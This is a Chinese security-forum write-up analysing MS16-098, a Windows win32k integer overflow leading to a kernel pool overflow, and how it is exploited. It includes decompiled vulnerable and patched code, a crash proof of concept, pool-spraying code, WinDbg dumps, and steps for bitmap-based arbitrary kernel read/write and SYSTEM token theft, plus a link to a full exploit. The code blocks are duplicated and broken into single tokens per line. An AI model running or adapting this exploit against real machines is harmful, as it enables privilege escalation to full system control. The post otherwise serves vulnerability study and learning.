-
-
[原创]MS16-098 Windows内核池溢出漏洞分析及利用
-
发表于: 2021-5-10 22:01 9857
-
前段时间找暑假实习时被问到内核池,显然我是不懂的,于是就找了一个洞来学习一下,如果哪里分析得有问题希望师傅们斧正。
win10-1511-x64
MS16-098是由整数溢出漏洞导致的池溢出 (pool overflow) 继而使用Abusing Bitmap技术获取到 system token 完成权限提升,其中池风水和使用 GDI objects 获得任意地址读写的技术是学习的重点。
漏洞位于win32kfull!bfill函数中,通过对v19的精心构造可以造成0x30*v19溢出,从而导致申请一个很小的pool,而原本应该是一个很大的pool,显然这会造成池溢出,并且在该函数最后释放这个pool时触发BSOD。
修复前:
修复后:
那么这个池溢出如何利用呢?我认为应该有以下思路
到达漏洞函数
构造内核池风水
控制溢出的内容
借助bitmap实现任意地址读写
steal system token
这一步我觉得对我这种菜鸡来说是最难的、几乎无法独立实现的。我尝试在ida中通过交叉引用找到一个Nt开头的函数,我认为这是内核中系统调用的接口,是可以通过用户态api直接到达的,然后在每个调用点下断,不断尝试;并且通过一些参数函数的名字判断其功能;找之前类似模块的漏洞的poc。这需要极大的耐心和时间成本,而我是个 windows 萌新 ,所以我还是去找了网上很多现成的poc,毕竟这是个几年前的洞。
以上是可以触发BSOD的代码,至于为什么是0x3fe01
和0x156
,我觉得只要能造成溢出应该没啥大问题。
在构造池风水前我们需要知道的是:
内核池每页大小为 0x1000 字节,比这个还要大的分配请求会被分配到更大的内核池
任何请求大小超过 0x808 字节会被分配到内存页的起始处
连续的请求会从页的末尾分配
分配的对象通常会加上 0x10 字节大小的 pool header,比如请求 0x50 字节的内存,实际包含了 pool header 会分配 0x60 字节大小的内存。
还有一点很重要,上文poc造成崩溃的原因是BAD_POOL_HEADER,也就是bfill函数最后释放了我们溢出的内存,而在释放时会检查相邻对象的pool header,溢出导致了它被破坏了所以造成crash。如果这块溢出的内存被分配在内存页的末尾,也就不存在next chunk那么就不会因此造成崩溃。
上文提到整数溢出为0x50,也就是分配了0x60的内存,我们需要留足够的空间来存放它。
首先分配5000个大小为 0xf80 字节的 bitmap 对象,来创建新的内存页。
继续分配两个accelerator对象,每个大小0x40,也就是0x80,正好填充新分配内存页的空缺。
接着释放之前分配的0xf80的bitmap对象,这样内存页的开始处就空出来 0xf80 字节的空间。
接下来需要填充前面空下来的0xf80字节的空间,网上的前辈是这样说的:
然后分配了 5000 个大小为 0xbc0 字节的对象,这个大小非常关键,因为如果 bitmap 对象直接被放到受到攻击的对象旁边的话,溢出不会覆盖到 bitmap 对象关键的成员变量(后面会详细讲)。此外,作者通过反复试验找到了 CreateEllipticRgn
其实我觉得这个对象的大小只要对于我们溢出的内存对0x30取余为0x28就没问题(这个后面详细说),并且也没必要去找函数,直接用bitmap自定义大小不好吗。。。这只是我的猜测,没有去实际调试,因为我已经被蓝屏搞吐了。。。如果有什么问题,欢迎师傅们提出。
有了前面的0xbc0,末尾的0x80,那么还剩0x3c0,再分配5000个大小为0x3c0字节的bitmap对象填充每页内存页剩余的空间,也就是我们会去控制的bitmap。
最后一步是把内存中所有0x60大小的先占满了,那么后面分配有溢出的对象时几乎肯定会落在我们的内存布局中,再释放末尾的0x80的accelerator
最后的内存布局:
在ida中对bfill进行分析,发现这块内存只在调用bConstructGET
函数时被用到
接着在ida中对win32kbase!bConstructGET进行分析,结合动态调试发现:bConstructGET函数会遍历points数组相邻的两个点并通过AddEdgeToGET对目标内存赋值。然而这个函数有点复杂,想要控制溢出的内容并且不破坏pool header没那么简单。
在调用AddEdgeToGET时下断,查看池风水
查看points数组在内存中的分布,观察到AddEdgeToGET第四个参数是points[0],而第三个参数在一次循环中为0,并且我们给的xy都被左移了4位
为了到达我们想要控制的bitmap,需要绕过以下几个return,使得每次循环覆写的目标内存+=0x30
我们的目标是覆写sizlBitmap,然后通过Get\SetBitmapBits覆写下一个Bitmap的pvscan0,使其作为一个Manager
0xc58 = 0x30 * 41 + 0x28 !
之前的构造池风水就是为了我们刚好可以利用AddEdgeToGET开头的代码对目标内存的赋值来更改sizlBitmap
对于bConstructGET
这个函数,我的理解是,每调用一次PolylineTo
都会根据所给points对目标内存从头到尾进行一次赋值。
结合对AddEdgeToGET
函数的逆向,points如下构造,需要注意的是points前后都多了一个(0,0)
接着我们成功让我们的exp从FillPath函数中 返回(无数次BSOD。。。),但是在程序退出的时候还是造成了crash,原因应该是之前对内存的赋值破坏了堆风水中一些对象的header导致在程序退出释放这些对象的时候触发异常。也就是说我们需要清理现场。
找到被我们覆盖了sizlBitmap,覆盖下一个bitmap的pvscan0实现任意地址写(详细的方法可以找一下abusing bitmap相关的文章,这里不再赘述)。
在尝试寻找被覆盖的bitmap时,再次蓝屏,但原因很清晰,在调用GetBitmapBits时访问了无效的地址
幸好这个地址是可以在用户态直接申请的,为了方便可以直接对00000001`00000000全赋值1,就可以进入一个看似正常的分支
然后,他又蓝屏了!
之前被我们修改的bitmap的那页内存被取消了映射
观察这两个相邻的bitmap,hHmgr hsurf 在被覆盖时改成了相同的,我猜测原因在这。我们将它改回来,终于exp可以正常退出!
通过EnumDeviceDrivers拿到kernel基地址,加载ntoskrnl.exe模块拿到PsInitialSystemProcess的偏移,再用bitmap去读取其在内核中的值拿到system token。
最后遍历ActiveProcessLinks替换token
完整EXP:https://github.com/s1vona/CVEs/blob/main/ms16-098/ms16-098.cpp
https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/
https://xz.aliyun.com/t/2919
https://security.tencent.com/index.php/blog/msg/117
v19
=
*
((_DWORD
*
)a1
+
1
);
if
( v19 >
0x14
)
{
result
=
(__int64)PALLOCMEM2(
0x30
*
v19,
'gdeG'
,
0
);
v20
=
(char
*
)result;
if
( !result )
return
result;
v33
=
1
;
}
v19
=
*
((_DWORD
*
)a1
+
1
);
if
( v19 >
0x14
)
{
result
=
(__int64)PALLOCMEM2(
0x30
*
v19,
'gdeG'
,
0
);
v20
=
(char
*
)result;
if
( !result )
return
result;
v33
=
1
;
}
v19
=
*
((_DWORD
*
)a1
+
1
);
if
( v19 >
0x14
)
{
if
( UIntMult(
0x30u
, v19, &puResult) <
0
)
return
0i64
;
v20
=
(char
*
)PALLOCMEM2(puResult,
'gdeG'
,
0
);
v35
=
v20;
if
( !v20 )
return
0i64
;
v33
=
1
;
}
HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT
*
puResult)
{
unsigned __int64 v3;
/
/
r9
HRESULT result;
/
/
eax
v3
=
uMultiplier
*
(unsigned __int64)uMultiplicand;
if
( v3 >
0xFFFFFFFF
)
{
*
puResult
=
-
1
;
result
=
0x80070216
;
}
else
{
*
puResult
=
v3;
result
=
0
;
}
return
result;
}
v19
=
*
((_DWORD
*
)a1
+
1
);
if
( v19 >
0x14
)
{
if
( UIntMult(
0x30u
, v19, &puResult) <
0
)
return
0i64
;
v20
=
(char
*
)PALLOCMEM2(puResult,
'gdeG'
,
0
);
v35
=
v20;
if
( !v20 )
return
0i64
;
v33
=
1
;
}
HRESULT __stdcall UIntMult(UINT uMultiplicand, UINT uMultiplier, UINT
*
puResult)
{
unsigned __int64 v3;
/
/
r9
HRESULT result;
/
/
eax
v3
=
uMultiplier
*
(unsigned __int64)uMultiplicand;
if
( v3 >
0xFFFFFFFF
)
{
*
puResult
=
-
1
;
result
=
0x80070216
;
}
else
{
*
puResult
=
v3;
result
=
0
;
}
return
result;
}
/
/
Create a Point array
static POINT points[
0x3fe01
];
/
/
Get Device context of desktop hwnd
HDC hdc
=
GetDC(NULL);
/
/
Get a compatible Device Context to assign Bitmap to
HDC hMemDC
=
CreateCompatibleDC(hdc);
/
/
Create Bitmap
Object
HGDIOBJ bitmap
=
CreateBitmap(
0x5a
,
0x1f
,
1
,
32
, NULL);
/
/
Select the Bitmap into the Compatible DC
HGDIOBJ bitobj
=
(HGDIOBJ)SelectObject(hMemDC, bitmap);
/
/
Begin path
BeginPath(hMemDC);
for
(
int
i
=
0
; i <
0x156
; i
+
+
) {
PolylineTo(hMemDC, points,
0x3fe01
);
/
/
(
0x3fe01
*
0x156
+
1
)
*
0x30
=
0x1
.
0000.0050
}
/
/
End the path
EndPath(hMemDC);
/
/
Fill the path
FillPath(hMemDC);
/
/
Create a Point array
static POINT points[
0x3fe01
];
/
/
Get Device context of desktop hwnd
HDC hdc
=
GetDC(NULL);
/
/
Get a compatible Device Context to assign Bitmap to
HDC hMemDC
=
CreateCompatibleDC(hdc);
/
/
Create Bitmap
Object
HGDIOBJ bitmap
=
CreateBitmap(
0x5a
,
0x1f
,
1
,
32
, NULL);
/
/
Select the Bitmap into the Compatible DC
HGDIOBJ bitobj
=
(HGDIOBJ)SelectObject(hMemDC, bitmap);
/
/
Begin path
BeginPath(hMemDC);
for
(
int
i
=
0
; i <
0x156
; i
+
+
) {
PolylineTo(hMemDC, points,
0x3fe01
);
/
/
(
0x3fe01
*
0x156
+
1
)
*
0x30
=
0x1
.
0000.0050
}
/
/
End the path
EndPath(hMemDC);
/
/
Fill the path
FillPath(hMemDC);
CreateBitmap(
1670
,
2
,
1
,
8
, NULL);
/
/
allocation size
0xf80
=
0xd10
(
1670
*
2
*
8
/
8
)
+
0x258
+
0x10
(pool header)
/
/
这里的
0x258
不同的系统不一样,需要具体调试
CreateBitmap(
1670
,
2
,
1
,
8
, NULL);
/
/
allocation size
0xf80
=
0xd10
(
1670
*
2
*
8
/
8
)
+
0x258
+
0x10
(pool header)
/
/
这里的
0x258
不同的系统不一样,需要具体调试
for
(
INT
i
=
0
; i <
7000
; i
+
+
) {
hAccel
=
CreateAcceleratorTableA(lpAccel,
1
);
hAccel2
=
CreateAcceleratorTableW(lpAccel,
1
);
if
(!hAccel || !hAccel2) {
printf(
"[%d]Create Accel error:%X\n"
,i, GetLastError());
exit(
1
);
}
pAccels[i]
=
hAccel;
pAccels2[i]
=
hAccel2;
}
for
(
INT
i
=
0
; i <
7000
; i
+
+
) {
hAccel
=
CreateAcceleratorTableA(lpAccel,
1
);
hAccel2
=
CreateAcceleratorTableW(lpAccel,
1
);
if
(!hAccel || !hAccel2) {
printf(
"[%d]Create Accel error:%X\n"
,i, GetLastError());
exit(
1
);
}
pAccels[i]
=
hAccel;
pAccels2[i]
=
hAccel2;
}
for
(
int
k
=
0
; k <
5000
; k
+
+
) {
CreateEllipticRgn(
0x79
,
0x79
,
1
,
1
);
/
/
size
=
0xbc0
}
for
(
int
k
=
0
; k <
5000
; k
+
+
) {
CreateEllipticRgn(
0x79
,
0x79
,
1
,
1
);
/
/
size
=
0xbc0
}
for
(
int
k
=
0
; k <
5000
; k
+
+
) {
bmp
=
CreateBitmap(
0x54
,
1
,
1
,
32
, NULL);
/
/
size
=
3c0
=
0x150
(
0x54
*
1
*
32
/
8
)
+
0x258
+
0x10
bitmaps[k]
=
bmp;
}
for
(
int
k
=
0
; k <
5000
; k
+
+
) {
bmp
=
CreateBitmap(
0x54
,
1
,
1
,
32
, NULL);
/
/
size
=
3c0
=
0x150
(
0x54
*
1
*
32
/
8
)
+
0x258
+
0x10
bitmaps[k]
=
bmp;
}
void AllocateClipBoard2(unsigned
int
size) {
BYTE
*
buffer
;
buffer
=
(PBYTE)malloc(size);
memset(
buffer
,
0x41
, size);
buffer
[size
-
1
]
=
0x00
;
const size_t
len
=
size;
HGLOBAL hMem
=
GlobalAlloc(GMEM_MOVEABLE,
len
);
memcpy(GlobalLock(hMem),
buffer
,
len
);
GlobalUnlock(hMem);
/
/
OpenClipboard(
0
);
/
/
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
/
/
CloseClipboard();
GlobalFree(hMem);
}
·
·
·
/
/
Allocate
17500
clipboard objects of size
0x60
to fill
any
free memory locations of size
0x60
for
(
int
k
=
0
; k <
1700
; k
+
+
) {
/
/
1500
AllocateClipBoard2(
0x30
);
}
/
/
delete
2000
of the allocated accelerator tables to make holes at the end of the page
in
our spray.
for
(
int
k
=
2000
; k <
4000
; k
+
+
) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
void AllocateClipBoard2(unsigned
int
size) {
BYTE
*
buffer
;
buffer
=
(PBYTE)malloc(size);
memset(
buffer
,
0x41
, size);
buffer
[size
-
1
]
=
0x00
;
const size_t
len
=
size;
HGLOBAL hMem
=
GlobalAlloc(GMEM_MOVEABLE,
len
);
memcpy(GlobalLock(hMem),
buffer
,
len
);
GlobalUnlock(hMem);
/
/
OpenClipboard(
0
);
/
/
EmptyClipboard();
SetClipboardData(CF_TEXT, hMem);
/
/
CloseClipboard();
GlobalFree(hMem);
}
·
·
·
/
/
Allocate
17500
clipboard objects of size
0x60
to fill
any
free memory locations of size
0x60
for
(
int
k
=
0
; k <
1700
; k
+
+
) {
/
/
1500
AllocateClipBoard2(
0x30
);
}
/
/
delete
2000
of the allocated accelerator tables to make holes at the end of the page
in
our spray.
for
(
int
k
=
2000
; k <
4000
; k
+
+
) {
DestroyAcceleratorTable(pAccels[k]);
DestroyAcceleratorTable(pAccels2[k]);
}
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
|
|
0xbc0
(region alloc) |
0x3c0
(bitmap alloc) |
0x80
(free) |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
|
|
0xbc0
(region alloc) |
0x3c0
(bitmap alloc) |
0x80
(free) |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
-
-
-
-
-
-
-
-
-
-
-
-
|
while
( (unsigned __int64)first < v13 )
{
v11
=
AddEdgeToGET((struct EDGE
*
)a2, dst, second, first, a4);
second
=
first;
dst
=
v11;
+
+
first;
}
while
( (unsigned __int64)first < v13 )
{
v11
=
AddEdgeToGET((struct EDGE
*
)a2, dst, second, first, a4);
second
=
first;
dst
=
v11;
+
+
first;
}
0
: kd> dc
0xfffff901711f2fb0
-
10
fffff901`
711f2fa0
23060002
67646547
00000001
00000080
...
#Gedg........
fffff901`
711f2fb0
00000000
00000000
00000000
00000000
................
fffff901`
711f2fc0
2d040004
63617355
32033abb
e81ef166 ...
-
Usac.:.
2f
...
fffff901`
711f2fd0
00000000
00000000
00000000
00000000
................
fffff901`
711f2fe0
00000000
00000000
00000001
00000080
................
fffff901`
711f2ff0
00000000
00000000
00000000
00000000
................
fffff901`
711f3000
23bc0000
34306847
3203257b
e81ef166 ...
#Gh04{%.2f...
fffff901`
711f3010
0204173c
00000000
00000000
00000000
<...............
0
: kd> dc fffff901`
711f3000
+
bc0
fffff901`
711f3bc0
233c00bc
35306847
00000000
00000000
..<
#Gh05........
fffff901`
711f3bd0
01051f10
00000000
00000000
00000000
................
fffff901`
711f3be0
00000000
00000000
00000000
00000000
................
fffff901`
711f3bf0
01051f10
00000000
00000000
00000000
................
fffff901`
711f3c00
00000000
00000000
00000054
00000001
........T.......
fffff901`
711f3c10
00000150
00000000
711f3e28
fffff901 P.......(>.q....
fffff901`
711f3c20
711f3e28
fffff901
00000150
0000304c
(>.q....P...L0..
fffff901`
711f3c30
00000006
00010000
00000000
00000000
................
0
: kd> dc fffff901`
711f3000
+
bc0
+
1000
fffff901`
711f4bc0
233c00bc
35306847
00000000
00000000
..<
#Gh05........
fffff901`
711f4bd0
01051f11
00000000
00000000
00000000
................
fffff901`
711f4be0
00000000
00000000
00000000
00000000
................
fffff901`
711f4bf0
01051f11
00000000
00000000
00000000
................
fffff901`
711f4c00
00000000
00000000
00000054
00000001
........T.......
fffff901`
711f4c10
00000150
00000000
711f4e28
fffff901 P.......(N.q....
fffff901`
711f4c20
711f4e28
fffff901
00000150
0000304d
(N.q....P...M0..
fffff901`
711f4c30
00000006
00010000
00000000
00000000
................
0
: kd> dc
0xfffff901711f2fb0
-
10
fffff901`
711f2fa0
23060002
67646547
00000001
00000080
...
#Gedg........
fffff901`
711f2fb0
00000000
00000000
00000000
00000000
................
fffff901`
711f2fc0
2d040004
63617355
32033abb
e81ef166 ...
-
Usac.:.
2f
...
fffff901`
711f2fd0
00000000
00000000
00000000
00000000
................
fffff901`
711f2fe0
00000000
00000000
00000001
00000080
................
fffff901`
711f2ff0
00000000
00000000
00000000
00000000
................
fffff901`
711f3000
23bc0000
34306847
3203257b
e81ef166 ...
#Gh04{%.2f...
fffff901`
711f3010
0204173c
00000000
00000000
00000000
<...............
0
: kd> dc fffff901`
711f3000
+
bc0
fffff901`
711f3bc0
233c00bc
35306847
00000000
00000000
..<
#Gh05........
fffff901`
711f3bd0
01051f10
00000000
00000000
00000000
................
fffff901`
711f3be0
00000000
00000000
00000000
00000000
................
fffff901`
711f3bf0
01051f10
00000000
00000000
00000000
................
fffff901`
711f3c00
00000000
00000000
00000054
00000001
........T.......
fffff901`
711f3c10
00000150
00000000
711f3e28
fffff901 P.......(>.q....
fffff901`
711f3c20
711f3e28
fffff901
00000150
0000304c
(>.q....P...L0..
fffff901`
711f3c30
00000006
00010000
00000000
00000000
................
0
: kd> dc fffff901`
711f3000
+
bc0
+
1000
fffff901`
711f4bc0
233c00bc
35306847
00000000
00000000
..<
#Gh05........
fffff901`
711f4bd0
01051f11
00000000
00000000
00000000
................
fffff901`
711f4be0
00000000
00000000
00000000
00000000
................
fffff901`
711f4bf0
01051f11
00000000
00000000
00000000
................
fffff901`
711f4c00
00000000
00000000
00000054
00000001
........T.......
fffff901`
711f4c10
00000150
00000000
711f4e28
fffff901 P.......(N.q....
fffff901`
711f4c20
711f4e28
fffff901
00000150
0000304d
(N.q....P...M0..
fffff901`
711f4c30
00000006
00010000
00000000
00000000
................
0
: kd> dd
0xfffff90140786040
fffff901`
40786040
00000000
00000000
00000010
00000020
fffff901`
40786050
00000000
00000000
00000000
00000000
fffff901`
40786060
00000000
00000000
00000000
00000000
fffff901`
40786070
00000000
00000000
00000000
00000000
fffff901`
40786080
00000000
00000000
00000000
00000000
fffff901`
40786090
00000000
00000000
00000000
00000000
fffff901`
407860a0
00000000
00000000
00000000
00000000
fffff901`
407860b0
00000000
00000000
00000000
00000000
0
: kd> dd
0xfffff90140786040
fffff901`
40786040
00000000
00000000
00000010
00000020
fffff901`
40786050
00000000
00000000
00000000
00000000
fffff901`
40786060
00000000
00000000
00000000
00000000
fffff901`
40786070
00000000
00000000
00000000
00000000
fffff901`
40786080
00000000
00000000
00000000
00000000
fffff901`
40786090
00000000
00000000
00000000
00000000
fffff901`
407860a0
00000000
00000000
00000000
00000000
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)